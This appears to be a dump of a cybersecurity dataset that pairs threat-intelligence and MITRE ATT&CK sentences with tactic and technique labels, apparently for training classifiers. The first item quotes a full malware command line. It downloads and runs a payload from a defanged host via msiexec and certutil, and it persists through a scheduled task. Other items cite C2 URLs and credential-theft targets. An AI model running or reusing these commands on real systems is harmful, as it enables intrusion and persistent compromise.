madox81/Adema_ATTACK_DS huggingface dataset:
Input: An exemplar command is given below:      1234567891011121314151617  cmd /c Echo CreateObject("WScript.Shell").Run "msiexec /q /ihttp:\\dlj40s.jdanief[.]xyz/images/word3.doc",0>%userProfile%\AppData\Local\Microsoft\microsoft.vbs /c EchoCreateObject("WScript.Shell").Run "msiexec /q /ihttp:\\dlj40s.jdanief[.]xyz/images/word3.doc",0>%userProfile%\AppData\Local\Microsoft\microsoft.vbsschtasks /create /sc MINUTE /tn "Windows Scheduled MaintenBa" /tr "wscript%userProfile%\AppData\Local\Microsoft\microsoft.vbs" /mo 10 /F /create /scMINUTE /tn "Windows Scheduled MaintenBa" /tr "wscript%userProfile%\AppData\Local\Microsoft\microsoft.vbs" /mo 10 /Fcmd /c certutil.exe -urlcache -split -fhttp:\\\\dlj40s.jdanief[.]xyz/images/1.pdf C:\ProgramData\1.pdf&startC:\ProgramData\1.pdf /c certutil.exe -urlcache -split -fhttp:\\\\dlj40s.jdanief[.]xyz/images/1.pdf C:\ProgramData\1.pdf&startC:\ProgramData\1.pdf     In the above command, the malware is downloading and executing a payload and configuring it for persistent execution

Tactics: TA0002, TA0003, TA0004, TA0005, TA0009
Techniques: T1053.005, T1005, T1053, T1203, T1553, T1553.002
Input: ShadowPad uses a DGA that is based on the day of the month for C2 servers.

Tactics: TA0011
Techniques: T1568, T1568.002
Input: Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.

Tactics: TA0005
Techniques: T1036.004, T1036
Input: Monitor for logged domain name system (DNS) data that may buy, lease, or rent infrastructure that can be used during targeting.

Tactics: TA0042
Techniques: T1583
Input: SDBbot has the ability to use RDP to connect to victim's machines.

Tactics: TA0008
Techniques: T1021.001, T1021
Input: Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.

Tactics: TA0005
Techniques: T1027.003, T1027
Input: Monitor for newly executed processes to gain access to a system through a user visiting a website over the normal course of browsing.

Tactics: TA0001
Techniques: T1189
Input: It also can uninstall scripts and delete files to cover its track.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: The associated Registry key is located HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy.

Tactics: TA0005, TA0008
Techniques: T1550.002, T1550
Input: FIN8 aggregates staged data from a network into a single location.

Tactics: TA0009
Techniques: T1074.002, T1074
Input: This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications.

Tactics: TA0003
Techniques: T1137.002, T1137
Input: SLOTHFULMEDIA has collected system name, OS version, adapter information, memory usage, and disk information from a victim machine.

Tactics: TA0007
Techniques: T1082
Input: Machete has used msiexec to install the Machete malware.

Tactics: TA0005
Techniques: T1218, T1218.007
Input: An adversary may also Create Cloud Instance and later terminate the instance after achieving their objectives.

Tactics: TA0005
Techniques: T1578.003, T1578
Input: Manipulation of source code repositories (public or private)

Tactics: TA0001
Techniques: T1195
Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).

Tactics: TA0043
Techniques: T1589.003, T1589
Input: The Windows Time service (W32Time) enables time synchronization across and within domains.

Tactics: TA0003, TA0004
Techniques: T1547.003, T1547
Input: Monitor for newly constructed files that may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated.

Tactics: TA0003, TA0005, TA0006
Techniques: T1556.002, T1556
Input: The weaponized Office documents were found to be hosted either on what appeared to be compromised legitimate websites, or on websites using domain names similar to legitimate domain names in appearance

Tactics: TA0005, TA0011
Techniques: T1036, T1102
Input: Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.

Tactics: TA0003, TA0004
Techniques: T1547, T1547.015
Input: An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.

Tactics: TA0003, TA0005
Techniques: T1542.003, T1542
Input: Pupy has a module for loading and executing PowerShell scripts.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Cyclops Blink has the ability to upload exfiltrated files to a C2 server.

Tactics: TA0010
Techniques: T1041
Input: KGH_SPY can enumerate files and directories on a compromised host.

Tactics: TA0007
Techniques: T1083
Input: ZIRCONIUM has used malicious links and web beacons in e-mails for malware download and to track hits to attacker-controlled URL's.

Tactics: TA0001
Techniques: T1566, T1566.002
Input: Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic.

Tactics: TA0009
Techniques: T1185
Input: BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2

Tactics: TA0011
Techniques: T1071
Input: For most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.

Tactics: TA0003, TA0004
Techniques: T1546, T1546.004
Input: Filename SHA256 Description   poisonfrog.ps1 27e03b98ae0f6f2650f378e9292384f1350f95ee4f3ac009e0113a8d9e2e14ed Dropper that installs hUpdater.ps1 and dUpdater.ps1   hUpdater.ps1 995ea68dcf27c4a2d482b3afadbd8da546d635d72f6b458557175e0cb98dd999 Poison Frog agent that uses HTTP for C2   dUpdater.ps1 0f20995d431abce885b8bd7dec1013cc1ef7c73886029c67df53101ea330436c Poison Frog  agent that uses DNS tunneling for C2    Table 3

Tactics: TA0003, TA0004, TA0005, TA0011
Techniques: T1071, T1036, T1543.001, T1543
Input: Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.

Tactics: TA0003
Techniques: T1137.002, T1137
Input: Manage the access control list for "Replicating Directory Changes" and other permissions associated with domain controller replication.

Tactics: TA0006
Techniques: T1003.006, T1003
Input: Andariel has limited its watering hole attacks to specific IP address ranges.

Tactics: TA0043
Techniques: T1590, T1590.005
Input: The macro contains malicious code that attempts to download content from a remote server

Tactics: TA0011
Techniques: T1105
Input: PowerDuke runs cmd.exe /c and sends the output to its C2.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Maze has stopped SQL services to ensure it can encrypt any database.

Tactics: TA0040
Techniques: T1489
Input: MobileOrder has a command to upload information about all running processes to its C2 server.

Tactics: TA0007
Techniques: T1057
Input: FatDuke can turn itself on or off at random intervals.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.003
Input: RC scripts require root privileges to modify.

Tactics: TA0003, TA0004
Techniques: T1037.004, T1037
Input: MuddyWater has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: GALLIUM used ipconfig /all to obtain information about the victim network configuration.

Tactics: TA0007
Techniques: T1016
Input: Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.

Tactics: TA0008
Techniques: T1080
Input: If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious.

Tactics: TA0002
Techniques: T1059.003, T1059.004, T1059
Input: Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window.

Tactics: TA0005
Techniques: T1218, T1218.014
Input: Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.

Tactics: TA0003, TA0004, TA0040
Techniques: T1543.003, T1489, T1543
Input: After execution, the malware will use the Dropbox API to make an HTTP GET request using HTTPS over TCP port 443 for the files:  MD5  Filename  d76261ba3b624933a6ebb5dd73758db4  WmiApCom  79b68cdd0044edd4fbf8067b22878644  WmiApCom.bat   The “WmiApCom.bat” file is simply used to start “WmiApCom”, which happens to be the exact same file as the one dropped by the malicious Word documents

Tactics: TA0002
Techniques: T1059
Input: Additional Features The Zyklon malware offers the following additional capabilities (via plugins): Browser Password Recovery Zyklon HTTP can recover passwords from popular web browsers, including:  Google Chrome Mozilla Firefox Internet Explorer Opera Browser Chrome Canary/SXS CoolNovo Browser Apple Safari Flock Browser SeaMonkey Browser SRWare Iron Browser Comodo Dragon Browser  FTP Password Recovery Zyklon currently supports FTP password recovery from the following FTP applications:  FileZilla SmartFTP FlashFXP FTPCommander Dreamweaver WS_FTP  Gaming Software Key Recovery Zyklon can recover PC Gaming software keys from the following games:  Battlefield Call of Duty FIFA NFS Age of Empires Quake The Sims Half-Life IGI Star Wars  Email Password Recovery Zyklon may also collect email passwords from following applications:  Microsoft Outlook Express Microsoft Outlook 2002/XP/2003/2007/2010/2013 Mozilla Thunderbird Windows Live Mail 2012 IncrediMail, Foxmail v6.x - v7.x Windows Live Messenger MSN Messenger Google Talk GMail Notifier PaltalkScene IM Pidgin (Formerly Gaim) Messenger Miranda Messenger Windows Credential Manager  License Key Recovery The malware automatically detects and decrypts the license/serial keys of more than 200 popular pieces of software, including Office, SQL Server, Adobe, and Nero

Tactics: TA0006, TA0007
Techniques: T1552.001, T1552, T1003, T1018
Input: Adversaries may rely on a user running a malicious image to facilitate execution.

Tactics: TA0002
Techniques: T1204.003, T1204
Input: LoudMiner used shell scripts to launch various services and to start/stop the QEMU virtualization.

Tactics: TA0002
Techniques: T1059.004, T1059
Input: SOUNDBITE communicates via DNS for C2.

Tactics: TA0011
Techniques: T1071.004, T1071
Input: RCSession has the ability to modify a Registry Run key to establish persistence.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: DOGCALL is capable of logging keystrokes.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment.

Tactics: TA0005, TA0007
Techniques: T1622
Input: Link shortening services can also be employed.

Tactics: TA0042
Techniques: T1608.005, T1608
Input: Carbanak searches recursively for Outlook personal storage tables (PST) files within user directories and sends them back to the C2 server.

Tactics: TA0009
Techniques: T1114, T1114.001
Input: PoshC2 contains a module for compressing data using ZIP.

Tactics: TA0009
Techniques: T1560.001, T1560
Input: BS2005 uses Base64 encoding for communication in the message body of an HTTP request.

Tactics: TA0011
Techniques: T1132.001, T1132
Input: The payload will communicate with its C2 server to obtain the session ID and pre-shared key and write it to this registry key in the following format:   <session id>_<pre-shared key>   To obtain the session ID and pre-shared key, the payload will first try to contact the C2 via an HTTPS GET request to the following URL:   hxxps://www.rdppath[.]com/   If the above request using HTTPS does not result in an HTTP 200 OK message or the response data has no alphanumeric characters, the code will attempt to communicate with the C2 server using HTTP via the following URL:   hxxp://www.rdppath[.]com/   The code to communicate with the C2 via HTTP exists within an exception handler

Tactics: TA0011
Techniques: T1071, T1008
Input: TA505 has executed commands using cmd.exe.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.

Tactics: TA0007
Techniques: T1082
Input: HermeticWizard can use a list of hardcoded credentials in attempt to authenticate to SMB shares.

Tactics: TA0006
Techniques: T1110, T1110.001
Input: Monitor executed commands and arguments that may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket.

Tactics: TA0006
Techniques: T1558
Input: Commands such as net use and net session can be used in Net to gather information about network connections from a particular host.

Tactics: TA0007
Techniques: T1049
Input: Malefactors used watering hole attacks to compromise legitimate and trusted websites frequently visited by their targets

Tactics: TA0001
Techniques: T1189
Input: This file is stored under the path /proc/<pid>/maps, where the <pid> directory is the unique pid of the program being interrogated for such authentication data.

Tactics: TA0006, TA0007
Techniques: T1033, T1003
Input: Elise executes systeminfo after initial communication is made to the remote server.

Tactics: TA0007
Techniques: T1082
Input: Unknown Logger is capable of stealing usernames and passwords from browsers on the victim machine.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, , are suspicious, as are additions or changes to files within the startup folder.

Tactics: TA0005
Techniques: T1112
Input: Frankenstein has enumerated hosts, looking for the system's machine name.

Tactics: TA0007
Techniques: T1082
Input: Hydraq creates a backdoor through which remote attackers can clear all system event logs.

Tactics: TA0005
Techniques: T1070, T1070.001
Input: Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems.

Tactics: TA0006
Techniques: T1539
Input: InvisiMole can also search for specific files by supplied file mask.

Tactics: TA0007
Techniques: T1083
Input: Explosive has a function to use the OpenClipboard wrapper.

Tactics: TA0009
Techniques: T1115
Input: For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.

Tactics: TA0002
Techniques: T1106
Input: Monitor for the registration or joining of new device objects in Active Directory.

Tactics: TA0003
Techniques: T1098.005, T1098
Input: It also attempts to issue the following SQL query on the “signons.sqlite” file: “SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins WHERE timePasswordChanged/1000 BETWEEN ? AND ?”   117 ftpUpload Uses FTPManager:uploadFile method and a supplied server name, username and password

Tactics: TA0007
Techniques: T1033
Input: Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.013, T1574
Input: HAFNIUM has interacted with Office 365 tenants to gather details regarding target's environments.

Tactics: TA0043
Techniques: T1592, T1592.004
Input: WINERACK can enumerate services.

Tactics: TA0007
Techniques: T1007
Input: The White Company has used phishing lure documents that trick users into opening them and infecting their computers.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: Remsec is capable of using ICMP, TCP, and UDP for C2.

Tactics: TA0011
Techniques: T1095
Input: Bazar can also check if the Russian language is installed on the infected machine and terminate if it is found.

Tactics: TA0007
Techniques: T1082
Input: Empire can use built-in modules to abuse trusted utilities like MSBuild.exe.

Tactics: TA0005
Techniques: T1127.001, T1127
Input: Fox Kitten has used the open source reverse proxy tools including FRPC and Go Proxy to establish connections from C2 to local servers.

Tactics: TA0011
Techniques: T1090
Input: WastedLocker has used cmd to execute commands on the system.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: GALLIUM used a renamed cmd.exe file to evade detection.

Tactics: TA0005
Techniques: T1036.003, T1036
Input: Nltest may be used to enumerate trusted domains by using commands such as nltest /domain_trusts.

Tactics: TA0007
Techniques: T1482
Input: Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process.

Tactics: TA0004, TA0005
Techniques: T1055.011, T1055
Input: Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\Local Policies\Audit Policy for basic audit policy settings or Security Settings\Advanced Audit Policy Configuration for advanced audit policy settings.

Tactics: TA0005
Techniques: T1562.002, T1562
Input: Additionally, APT32 has used a random value to modify the timestamp of the file storing the clientID.

Tactics: TA0005
Techniques: T1070, T1070.006
Input: Adversaries may break out of a container to gain access to the underlying host.

Tactics: TA0004
Techniques: T1611
Input: Likewise, one or more reflectors may be used to focus traffic on the target.

Tactics: TA0040
Techniques: T1498, T1498.002
Input: To obtain strings to treat as commands, the payload will issue a series of DNS queries to resolve domains with the following structure: <system id>-<job ID>-<offset data specific to job>.<c2 domain> The C2 server will provide responses to these queries that contain answers in IPv4 or IPv6 addresses depending on the type of DNS query the payload uses to communicate with its C2 server

Tactics: TA0011
Techniques: T1071
Input: ComRAT can use SSL/TLS encryption for its HTTP-based C2 channel.

Tactics: TA0011
Techniques: T1573, T1573.002
Input: Common file types, such as text files (.txt, .doc, ) and image files (.jpg, .gif, ) are typically used as the first extension to appear benign.

Tactics: TA0005
Techniques: T1036, T1036.007
Input: InvisiMole can enumerate Registry values, keys, and data.

Tactics: TA0007
Techniques: T1012
Input: GrimAgent has sent data related to a compromise host over its C2 channel.

Tactics: TA0010
Techniques: T1041
Input: More information about the OwaAuth web shell is available in Appendix C

Tactics: TA0003
Techniques: T1505.003, T1505
Input: DarkWatchman has collected the username from a victim machine.

Tactics: TA0007
Techniques: T1033
Input: To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters.

Tactics: TA0005
Techniques: T1562.002, T1562
Input: Ragnar Locker has used rundll32.exe to execute components of VirtualBox.

Tactics: TA0005
Techniques: T1218, T1218.011
Input: Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain.

Tactics: TA0004, TA0005
Techniques: T1484.001, T1484
Input: IndigoZebra has compromised legitimate email accounts to use in their spearphishing operations.

Tactics: TA0042
Techniques: T1586.002, T1586
Input: Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.002, T1574
Input: The C# implementation of  the CharmPower command execution module can use cmd.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: PoetRAT has used a Python tool named Bewmac to record the webcam on compromised hosts.

Tactics: TA0009
Techniques: T1125
Input: Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS.

Tactics: TA0003, TA0004
Techniques: T1546.012, T1546
Input: DustySky can compress files via RAR while staging data to be exfiltrated.

Tactics: TA0009
Techniques: T1560.001, T1560
Input: Office365DCOMCheck or SystemDiskClean) as the name for the scheduled task to maintain persistence on the victim host

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Proxysvc can overwrite files indicated by the attacker before deleting them.

Tactics: TA0040
Techniques: T1485
Input: Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS).

Tactics: TA0010
Techniques: T1048.003, T1048
Input: Once storage objects are discovered, adversaries may leverage Data from Cloud Storage Object to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.

Tactics: TA0043
Techniques: T1595.003, T1595
Input: ZIRCONIUM has exfiltrated files via the Dropbox API C2.

Tactics: TA0010
Techniques: T1041
Input: Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link.

Tactics: TA0042
Techniques: T1608.005, T1608
Input: Remsec is capable of using SMTP for C2.

Tactics: TA0011
Techniques: T1071, T1071.003
Input: Explosive has a function to write itself to Registry values.

Tactics: TA0005
Techniques: T1112
Input: Kimsuky has packed malware with UPX.

Tactics: TA0005
Techniques: T1027.002, T1027
Input: QUADAGENT gathers the current domain the victim system belongs to.

Tactics: TA0007
Techniques: T1016
Input: Require multi-factor authentication to register devices in Azure AD.

Tactics: TA0003
Techniques: T1098.005, T1098
Input: Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device.

Tactics: TA0010
Techniques: T1020.001, T1020
Input: KeyBoy attempts to collect passwords from browsers.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: Gamaredon Group has loaded the group's previously delivered VBA project by relaunching Microsoft Outlook with the /altvba option, once the Application.Startup event is received.

Tactics: TA0003
Techniques: T1137
Input: PLATINUM has leveraged a zero-day vulnerability to escalate privileges.

Tactics: TA0004
Techniques: T1068
Input: Monitor suspicious programs execution through services.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.011, T1574
Input: Gather domain and account names based on all running processes  Gathering account information from running processes

Tactics: TA0007
Techniques: T1057
Input: /var/log/maillog: Mail server logs

Tactics: TA0005
Techniques: T1070, T1070.002
Input: Enabling these mechanisms within an organization (through policies such as DMARC) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.

Tactics: TA0043, TA0001
Techniques: T1598.002, T1566, T1566.002, T1566.001, T1598, T1598.003
Input: DDE execution can be invoked remotely via Remote Services such as Distributed Component Object Model (DCOM).

Tactics: TA0002
Techniques: T1559, T1559.002
Input: NETWIRE has the ability to communicate over HTTP.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Develop and publish policies that define acceptable information to be stored in SharePoint repositories.

Tactics: TA0009
Techniques: T1213, T1213.002